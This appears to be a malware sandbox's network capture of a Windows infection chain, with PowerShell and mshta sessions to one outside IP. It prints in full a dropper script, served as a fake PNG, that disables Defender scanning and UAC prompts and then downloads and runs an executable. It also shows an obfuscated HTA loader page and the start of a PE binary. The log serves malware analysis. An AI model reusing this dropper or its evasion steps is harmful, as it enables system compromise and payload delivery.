0	192.168.2.9	49716	176.113.115.178	80	7612	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 14:07:28.067655087 CET	75	OUT	GET /FF/CMD.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 14:07:29.556826115 CET	1236	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Thu, 21 Nov 2024 18:48:44 GMT Accept-Ranges: bytes ETag: "0cbafd453cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:29 GMT Content-Length: 28112 Data Raw: 0d 0a 27 20 20 20 20 49 20 72 65 75 70 6c 6f 61 64 20 76 69 64 65 6f 73 20 74 68 61 74 20 68 61 76 65 20 68 61 64 20 73 65 76 65 72 61 6c 20 6d 69 6c 6c 69 6f 6e 20 76 69 65 77 73 2c 20 62 75 74 20 49 20 68 61 76 65 20 74 68 65 6d 20 67 61 69 6e 69 6e 67 20 6c 65 73 73 20 74 68 61 6e 20 61 20 74 68 6f 75 73 61 6e 64 2c 20 77 68 61 74 20 61 6d 20 49 20 64 6f 69 6e 67 20 77 72 6f 6e 67 3f 20 57 68 79 20 69 73 20 74 68 69 73 20 68 61 70 70 65 6e 69 6e 67 3f 0d 0a 27 49 6d 61 67 69 6e 65 20 69 66 20 65 61 63 68 20 72 65 75 70 6c 6f 61 64 65 64 20 76 69 64 65 6f 20 67 61 69 6e 65 64 20 74 68 65 20 73 61 6d 65 20 6e 75 6d 62 65 72 20 6f 66 20 76 69 65 77 73 20 61 73 20 74 68 65 20 6f 72 69 67 69 6e 61 6c 20 61 6e 64 20 77 61 73 20 75 70 6c 6f 61 64 65 64 20 75 6e 74 69 6c 20 75 73 65 72 73 20 73 69 6d 70 6c 79 20 67 65 74 20 62 6f 72 65 64 2e 20 49 6e 20 73 75 63 68 20 61 20 63 61 73 65 20 54 69 6b 54 6f 6b 20 77 6f 75 6c 64 20 62 65 20 6f 76 65 72 66 6c 6f 77 69 6e 67 20 77 69 74 68 20 64 75 70 6c 69 63 [TRUNCATED] Data Ascii: ' I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?'Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.'However, that's no
Dec 18, 2024 14:07:29.556843996 CET	1236	IN	Data Raw: 74 20 61 6c 6c 20 74 68 65 72 65 20 69 73 20 74 6f 20 69 74 2e 20 54 68 65 72 65 20 69 73 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 20 6f 66 20 64 75 70 6c 69 63 61 74 65 20 64 65 74 65 63 74 69 6f 6e 20 74 68 61 74 20 66 65 77 20 70 65 6f 70 Data Ascii: t all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.'TikTok, as well as other platforms, is actively fight
Dec 18, 2024 14:07:29.556857109 CET	448	IN	Data Raw: 6c 6c 20 61 73 20 6f 74 68 65 72 20 70 6c 61 74 66 6f 72 6d 73 2c 20 69 73 20 61 63 74 69 76 65 6c 79 20 66 69 67 68 74 69 6e 67 20 70 6c 61 67 69 61 72 69 73 6d 2c 20 69 6d 70 72 6f 76 69 6e 67 20 69 74 73 20 61 6c 67 6f 72 69 74 68 6d 73 20 61 Data Ascii: ll as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is insta
Dec 18, 2024 14:07:29.556937933 CET	1236	IN	Data Raw: 6f 20 61 67 61 69 6e 2c 20 54 54 20 69 6d 6d 65 64 69 61 74 65 6c 79 20 72 65 63 6f 67 6e 69 7a 65 73 20 69 74 20 61 6e 64 20 79 6f 75 72 20 63 68 61 6e 63 65 73 20 6f 66 20 67 65 74 74 69 6e 67 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 67 6f 20 64 Data Ascii: o again, TT immediately recognizes it and your chances of getting recommended go down to zero.'However, that's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used
Dec 18, 2024 14:07:29.556951046 CET	1236	IN	Data Raw: 75 70 6c 69 63 61 74 65 73 20 61 6e 64 20 74 72 61 66 66 65 72 73 20 77 6f 75 6c 64 20 62 65 20 73 77 69 6d 6d 69 6e 67 20 69 6e 20 76 69 65 77 73 2e 20 42 79 20 74 68 65 20 77 61 79 2c 20 61 20 63 6f 75 70 6c 65 20 79 65 61 72 73 20 61 67 6f 20 Data Ascii: uplicates and traffers would be swimming in views. By the way, a couple years ago it was like that.'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting,
Dec 18, 2024 14:07:29.556963921 CET	1236	IN	Data Raw: 6f 20 69 73 20 74 68 65 6e 20 63 6f 6d 70 72 65 73 73 65 64 2c 20 70 61 72 61 6d 65 74 65 72 73 20 61 6e 64 20 6d 65 74 61 64 61 74 61 20 61 72 65 20 63 68 61 6e 67 65 64 2e 20 49 66 20 79 6f 75 20 64 6f 77 6e 6c 6f 61 64 20 61 6e 64 20 75 70 6c Data Ascii: o is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.'Let's look at the most popular question:' I re
Dec 18, 2024 14:07:29.556977034 CET	1236	IN	Data Raw: 61 74 27 73 20 6e 6f 74 20 61 6c 6c 20 74 68 65 72 65 20 69 73 20 74 6f 20 69 74 2e 20 54 68 65 72 65 20 69 73 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 20 6f 66 20 64 75 70 6c 69 63 61 74 65 20 64 65 74 65 63 74 69 6f 6e 20 74 68 61 74 20 66 Data Ascii: at's not all there is to it. There is another method of duplicate detection that few people know about. This method has long been used in filmmaking and most popular platforms - it's watermarks.'Visible watermarks are the addition of a logo
Dec 18, 2024 14:07:29.557293892 CET	1236	IN	Data Raw: 67 3f 20 57 68 79 20 69 73 20 74 68 69 73 20 68 61 70 70 65 6e 69 6e 67 3f 0d 0a 27 49 6d 61 67 69 6e 65 20 69 66 20 65 61 63 68 20 72 65 75 70 6c 6f 61 64 65 64 20 76 69 64 65 6f 20 67 61 69 6e 65 64 20 74 68 65 20 73 61 6d 65 20 6e 75 6d 62 65 Data Ascii: g? Why is this happening?'Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimmi
Dec 18, 2024 14:07:29.557307005 CET	1236	IN	Data Raw: 66 6f 72 6d 73 20 61 6e 64 20 77 69 74 68 69 6e 20 54 69 6b 54 6f 6b 20 69 74 73 65 6c 66 2e 0d 0a 27 46 69 72 73 74 20 6f 66 20 61 6c 6c 2c 20 77 68 65 6e 20 61 20 76 69 64 65 6f 20 69 73 20 75 70 6c 6f 61 64 65 64 20 74 6f 20 54 69 6b 54 6f 6b Data Ascii: forms and within TikTok itself.'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and m
Dec 18, 2024 14:07:29.558515072 CET	1236	IN	Data Raw: 64 65 6f 20 69 73 20 74 68 65 6e 20 63 6f 6d 70 72 65 73 73 65 64 2c 20 70 61 72 61 6d 65 74 65 72 73 20 61 6e 64 20 6d 65 74 61 64 61 74 61 20 61 72 65 20 63 68 61 6e 67 65 64 2e 20 49 66 20 79 6f 75 20 64 6f 77 6e 6c 6f 61 64 20 61 6e 64 20 75 Data Ascii: deo is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero.'However, that's not all there is to it. There is
Dec 18, 2024 14:07:29.677858114 CET	1236	IN	Data Raw: 74 74 69 6e 67 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 67 6f 20 64 6f 77 6e 20 74 6f 20 7a 65 72 6f 2e 0d 0a 27 4c 65 74 27 73 20 6c 6f 6f 6b 20 61 74 20 74 68 65 20 6d 6f 73 74 20 70 6f 70 75 6c 61 72 20 71 75 65 73 74 69 6f 6e 3a 0d 0a 27 20 20 Data Ascii: tting recommended go down to zero.'Let's look at the most popular question:' I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?'Imagine if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49722	176.113.115.178	80	7960	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 14:07:32.121023893 CET	333	OUT	GET /Windows-Update HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 14:07:33.652116060 CET	371	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: http://176.113.115.178/Windows-Update/ Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:33 GMT Content-Length: 161 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 31 37 36 2e 31 31 33 2e 31 31 35 2e 31 37 38 2f 57 69 6e 64 6f 77 73 2d 55 70 64 61 74 65 2f 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="http://176.113.115.178/Windows-Update/">here</a></body>
Dec 18, 2024 14:07:33.658809900 CET	334	OUT	GET /Windows-Update/ HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 14:07:34.144434929 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Thu, 21 Nov 2024 18:37:41 GMT Accept-Ranges: bytes ETag: "19c58d72443cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:33 GMT Content-Length: 10664 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 45 6d 75 6c 61 74 65 49 45 39 27 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 27 47 45 4e 45 52 41 54 4f 52 27 20 43 6f 6e 74 65 6e 74 3d 27 54 68 65 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 66 20 74 68 69 73 20 70 61 67 65 20 69 73 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 48 54 4d 4c 20 47 75 61 72 64 69 61 6e 2c 20 20 74 68 65 20 77 6f 72 6c 64 27 73 20 73 74 61 6e 64 61 72 74 20 66 6f 72 20 77 65 62 73 69 74 65 20 70 72 6f 74 65 63 74 69 6f 6e 2e 20 56 69 73 69 74 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 77 61 72 65 2e 63 6f 6d 20 66 6f 72 20 64 65 74 61 69 6c 73 27 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 65 78 70 69 72 65 73 27 20 63 6f 6e 74 65 6e 74 3d 27 27 3e 3c 73 63 72 69 70 74 3e 6c 31 6c 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 3b 76 [TRUNCATED] Data Ascii: <html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';pHcl5jBGPFb='kmOsd6OpxRj6';</script><script>la0Q6t4=new Array();la0Q6t4[0]='\151\130%34\150\101p%38%35%41S%55O';o4Jfj0q=new Array();o4Jfj0q[0]='<!DOCTYPE html PUBLIC "-//W3C~DTD XHTML 1.0 Transitional~EN"~~\ntp:~w~B.w3.org/TR/x~\n~1/~D~N~Pl1-t~-~/~1~3~5l.dtd">\r\n<~W x~~/="~=~?~A~C~E~G~I/19~{~V~
Dec 18, 2024 14:07:34.144443035 CET	224	IN	Data Raw: 0b 7f 6c 7e 66 7e 68 7e 6a 7f 65 7f 61 7f 64 7f 3e 7f 3c 7f 73 7f 63 7f 72 7f 69 7f 70 7f 74 7f 3e 7f 65 7f 76 7e 36 7f 28 7f 75 7f 6e 7f 65 7d 08 7f 61 7f 70 7f 65 7f 28 7f 5c 27 7f 25 7f 37 7f 36 7f 25 7f 36 7f 31 7f 72 7f 25 7f 32 7f 30 7f 71 Data Ascii: l~f~h~jead><script>ev~6(une}ape(\'%76%61r%20q\\171%37}+D}#}-2}-3Bq}9}+8}.%53}4}\'62}\'51ng}#E}6}A2omC}D0}\'41}M%43o}}@145}#}:3}*3}>2C}+}d0
Dec 18, 2024 14:07:34.144454002 CET	1236	IN	Data Raw: 7d 23 7d 38 7d 34 7d 4b 7d 44 7f 37 7d 57 7f 32 7f 38 7f 69 7d 3b 7f 33 7d 6b 7d 34 7d 75 7e 1b 7d 2b 7f 32 7d 2b 7d 3e 7f 33 7d 62 7d 6d 7f 42 7d 1f 7d 38 7f 32 7c 03 7c 06 7d 6c 7d 1c 7d 35 7f 79 7d 2b 7d 31 7c 03 7f 33 7d 2f 7d 29 7d 37 7d 39 Data Ascii: }#}8}4}K}D7}W28i};3}k}4}u~}+2}+}>3}b}mB}}82\|\|}l}}5y}+}1\|3}/})}7}9}}/}4f}A}`6Ec}?~_}#}S1} \|3}}s\|7Bif}a}#1d}p}}>75}D\|\|Et}I\|015}-63u}}/6\|5\|=}L\|"4Mo}T}]}_}#\|&\|&\|/\|L}^\|Amen}A4}I}T}*6Cl\|(\|6
Dec 18, 2024 14:07:34.144476891 CET	1236	IN	Data Raw: 20 7f 73 7f 74 7f 79 78 19 78 1f 78 4b 7f 74 7f 2d 7f 66 7f 61 7f 6d 7f 69 7f 6c 7f 79 7f 3a 7f 20 7f 56 7a 13 7f 64 7e 2e 7f 61 7f 2c 7f 20 7f 41 7d 5c 6e 7e 36 78 63 7f 48 7f 65 7f 6c 7f 76 7f 65 7e 32 7f 63 78 62 78 4d 7e 2e 7f 73 7f 2d 7f 73 Data Ascii: styxxxKt-family: Vzd~.a, A}\n~6xcHelve~2cxbxM~.s-sz\|+; xSxtizex\\yipxxxx3x5rx\\#Fww\nxxbackgro}d-w~Hwx96x;>ThexMwrxE x3x( of th{4 pagw w.pwxcxx0by <b}xSxMxOxQ
Dec 18, 2024 14:07:34.144490004 CET	1236	IN	Data Raw: 25 36 43 25 33 34 25 32 45 25 36 33 68 5c 31 34 31 72 43 5c 31 35 37 25 36 34 5c 31 34 35 25 34 31 5c 31 36 34 25 32 38 25 35 46 25 33 31 25 32 39 25 33 42 6c 49 25 33 44 6c 25 33 34 25 32 45 27 3b 66 75 6e 63 74 69 6f 6e 20 6a 68 32 4c 32 55 63 Data Ascii: %6C%34%2E%63h\141rC\157%64\145%41\164%28%5F%31%29%3BlI%3Dl%34%2E';function jh2L2UciWkVbEpGSg(mWVE15stl3q){b1625+=mWVE15stl3q};eval(unescape('\146%75\156\143%74\151\157n%20u%35\167xWN%20%20%20%20%28\167%37n%34%77%37\110P%70%55\132\171%29%7Bc%59
Dec 18, 2024 14:07:34.144506931 CET	1236	IN	Data Raw: 4b 7f 28 7f 69 74 33 73 06 7f 3c 79 67 7f 31 73 06 7f 2b 7f 2b 74 54 73 28 7f 37 7f 2b 7f 3d 73 2d 74 5d 7f 6c 73 57 7f 31 7e 70 7f 3c 7f 22 7f 2b 7f 22 7f 21 7f 2d 7f 2d 73 5c 5c 73 51 73 5d 73 60 73 5c 5c 7e 66 7f 22 7f 3b 7f 6c 7f 49 7f 31 73 Data Ascii: K(it3s<yg1s++tTs(7+=s-t]lsW1~p<"+"!--s\\sQs]s`s\\~f";lI1sY"/sf*sbs)s]sqs]sosissmsrsfxu3+sWsWs<)rzar(2r"xs\\rl(3r\'sssfxshsjsksZsr~.vluD\'d{4vv":vDexIw5u2srsRx/r)wYrs]w0nu3;sksW=r1
Dec 18, 2024 14:07:34.144720078 CET	1236	IN	Data Raw: 78 77 42 6d 6f 4e 4a 6b 44 51 71 55 4f 6a 71 65 73 69 27 3b 79 51 35 66 31 49 31 59 31 76 58 2b 3d 20 20 20 27 6c 28 75 6e 65 73 27 3b 76 30 6f 69 62 35 57 3d 27 77 58 50 6b 4c 33 59 44 50 4e 49 70 68 34 78 4d 31 4e 27 3b 79 51 35 66 31 49 31 59 Data Ascii: xwBmoNJkDQqUOjqesi';yQ5f1I1Y1vX+= 'l(unes';v0oib5W='wXPkL3YDPNIph4xM1N';yQ5f1I1Y1vX+= 'cape(eYSY54uo8iWYn75))}';v0oib5W+= 'c8460';eval(yQ5f1I1Y1vX);lvJp2wI2S4I3RC='uOaaooUGBNZKCfoJryZaBbrBoLRMBVhOfqTaDOWy';yQ5f1I1Y1vX='';d5J40aB6Q+= 'c
Dec 18, 2024 14:07:34.144735098 CET	1236	IN	Data Raw: 7f 70 73 22 7e 34 7f 66 7f 26 72 08 74 54 7e 5b 7f 79 6f 4a 73 1d 7f 49 75 62 6e 37 7c 58 7f 64 7f 43 6e 1c 7f 64 6f 1d 72 01 76 56 75 22 79 7a 61 7f 4e 73 3a 76 2d 7b 53 72 23 78 45 6e 47 78 59 6e 49 6e 20 6e 04 73 57 78 7a 61 7f 7d 74 6f 71 4b Data Ascii: ps"~4f&rtT~[yoJsIubn7\|XdCndorvVu"yzaNs:v-{Sr#xEnGxYnIn nsWxza}toqKetToZnxY}nZn@r?nuZxn$wfen\'yzan)r3qn-o$rBn0-sWn3t+n5n7s#n:p\\n=rn?n nC}uGnUlnIn-nL{SnNnP.nRu>nTnHqLnAnYudpFn]h(n_{oZt]rlrnx@o_ozuFu\|uJ\|Xtwblu6n"
Dec 18, 2024 14:07:34.144751072 CET	776	IN	Data Raw: 6e 3e 6e 66 6f 12 6d 2d 75 57 6f 15 75 72 78 46 75 74 6e 49 6a 07 69 10 71 40 73 1d 7e 61 6c 55 6c 26 6d 0e 7b 53 76 2b 78 6c 6c 4d 71 19 6a 2c 6c 67 7a 13 74 63 6c 6c 69 08 73 7e 7e 68 7f 20 69 32 7f 20 69 31 69 32 73 7b 73 18 75 3e 7d 47 77 52 Data Ascii: n>nfom-uWourxFutnIjiq@s~alUl&m{Sv+xllMqj,lgztcllis~~h i2 i1i2s{su>}GwRuk"w~}Ss}}za\ni3kIm:.i&eTo(-4x"p iNiPu5~hAASQxA~Wsfi@s\|s]x.SsfwsWsh~hSSD~ tfqVAtNxlXObjwnoliWiYiU\nKK1i["psfosftsflBiee
Dec 18, 2024 14:07:34.364510059 CET	1236	IN	Data Raw: 61 42 36 51 2b 3d 20 20 20 27 25 32 39 25 33 42 6c 25 33 31 25 35 42 25 35 46 6c 25 35 44 25 33 44 25 36 43 25 33 30 25 35 42 49 6c 25 35 44 25 33 42 5c 31 35 31 66 25 32 38 6c 25 33 32 25 32 39 25 37 42 6c 25 36 39 25 32 42 25 33 44 6c 25 33 30 Data Ascii: aB6Q+= '%29%3Bl%31%5B%5Fl%5D%3D%6C%30%5BIl%5D%3B\151f%28l%32%29%7Bl%69%2B%3Dl%30%5BI\154%5D%7D%3B%62r\145a\153%3B\144\145f%61%75l%74%3A%6C%31%5B%5F%6C%5D%3D\154%30%5B%6C%37%5B%5Fl%5D%5D%3B%69\146%28l%32%29%7B%6C%69%2B%3Dl%30%5B\154%37%5B%5Fl
Dec 18, 2024 14:07:34.364535093 CET	3	IN	Data Raw: 6d 6c 3e Data Ascii: ml>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49735	176.113.115.178	80	8136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 14:07:36.413516998 CET	73	OUT	GET /FF/1.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 14:07:37.881791115 CET	676	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Thu, 21 Nov 2024 18:38:23 GMT Accept-Ranges: bytes ETag: "a33e7f8b443cdb1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:37 GMT Content-Length: 451 Data Raw: 70 6f 77 65 72 73 68 65 6c 6c 20 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 22 41 41 41 63 41 41 41 3a 5c 41 41 41 22 2e 72 65 70 6c 61 63 65 28 27 41 41 41 27 2c 27 27 29 0d 0a 53 65 74 2d 49 74 65 6d 50 72 6f 70 65 72 74 79 20 2d 50 61 74 68 20 52 45 47 49 53 54 52 59 3a 3a 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 53 79 73 74 65 6d 20 2d 4e 61 6d 65 20 43 6f 6e 73 65 6e 74 50 72 6f 6d 70 74 42 65 68 61 76 69 6f 72 41 64 6d 69 6e 20 2d 56 61 6c 75 65 20 30 20 2d 46 6f 72 63 65 0d 0a 73 74 61 72 74 2d 73 6c 65 65 70 20 2d 73 20 36 0d 0a 0d 0a 24 75 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 37 36 2e 31 31 33 2e 31 31 35 2e 31 37 38 2f 46 46 2f 4d 2e 70 6e 67 22 0d 0a 24 6f 75 74 70 75 74 20 3d 20 22 24 65 6e 76 3a 41 50 50 44 41 54 41 5c 4c 42 33 31 2e 65 78 65 22 0d 0a 24 73 74 61 [TRUNCATED] Data Ascii: powershell Add-MpPreference -ExclusionPath "AAAcAAA:\AAA".replace('AAA','')Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0 -Forcestart-sleep -s 6$url = "http://176.113.115.178/FF/M.png"$output = "$env:APPDATA\LB31.exe"$start_time = Get-Date$wc = New-Object System.Net.WebClient$wc.DownloadFile($url, $output)Start-Process $output

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49780	176.113.115.178	80	8136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 14:07:54.723202944 CET	73	OUT	GET /FF/M.png HTTP/1.1 Host: 176.113.115.178 Connection: Keep-Alive
Dec 18, 2024 14:07:56.170639992 CET	1236	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Sun, 06 Oct 2024 18:12:58 GMT Accept-Ranges: bytes ETag: "08ec05f1b18db1:0" Server: Microsoft-IIS/10.0 Date: Wed, 18 Dec 2024 13:07:55 GMT Content-Length: 7679488 Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 5e 6e f4 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 a0 00 00 00 78 54 00 00 00 00 00 00 d0 af 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 af 00 00 04 00 00 fe e2 75 00 02 00 60 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8d 90 55 00 b5 00 00 00 00 e0 53 00 66 a3 01 00 20 e0 af 00 98 01 00 00 00 00 00 00 00 00 00 00 c0 22 ae 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 22 ae 00 28 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@xhr!L!This program cannot be run in DOS mode.$PEd^ne"xT@u`USf "`"( SR@.rsrcfSR@.idata US@ 8US@ndryujmpp!`f!S@tnyudguu*u@.pdataI,u@@
Dec 18, 2024 14:07:56.170707941 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:56.170809984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:56.170850039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:56.170866966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 14:07:56.170963049 CET	1236	IN	Data Raw: 1f e5 1a 1b d0 cd c8 2f 83 44 69 46 aa fa be 19 20 10 1d 39 95 7f 0c 43 af 22 11 0f 98 23 4a 4d e8 a0 64 02 5c c9 61 c9 05 b8 91 44 0f f3 ca 06 dd 64 4a fe 82 a9 0f e4 10 96 93 74 7f 04 43 73 22 d5 0f f3 6a 81 a5 e8 64 64 c6 41 48 4e 9c 31 fd 55 Data Ascii: /DiF 9C"#JMd\aDdJtCs"jddAHN1U\|?Fv{"=W*(Do{R?4$lA50]dNwV??L20 ZD!TO<-)8c.fuI)$Eh@\u
Dec 18, 2024 14:07:56.171005011 CET	1236	IN	Data Raw: 53 41 c5 10 06 d5 01 c1 59 42 55 0b 89 4c 20 28 c8 f8 13 28 08 da 30 85 e8 4e b3 b1 15 12 55 91 29 c1 8d 4c 24 53 7e 61 13 0a 08 74 51 03 40 af f5 3d 27 ab c5 45 13 b5 66 0b 28 7d 02 6f 0b 0a 7d 59 33 20 40 33 f7 58 61 5d 43 1a f8 67 ba a2 d9 bf Data Ascii: SAYBUL ((0NU)L$S~atQ@='Ef(}o}Y3 @3Xa]CgN<@4#RROdX=TiYr=VoKJ)GN!l%$z@I0O^PX\IH(F6*%BDQtr-I:SZMg'Lu50[qfSJ,
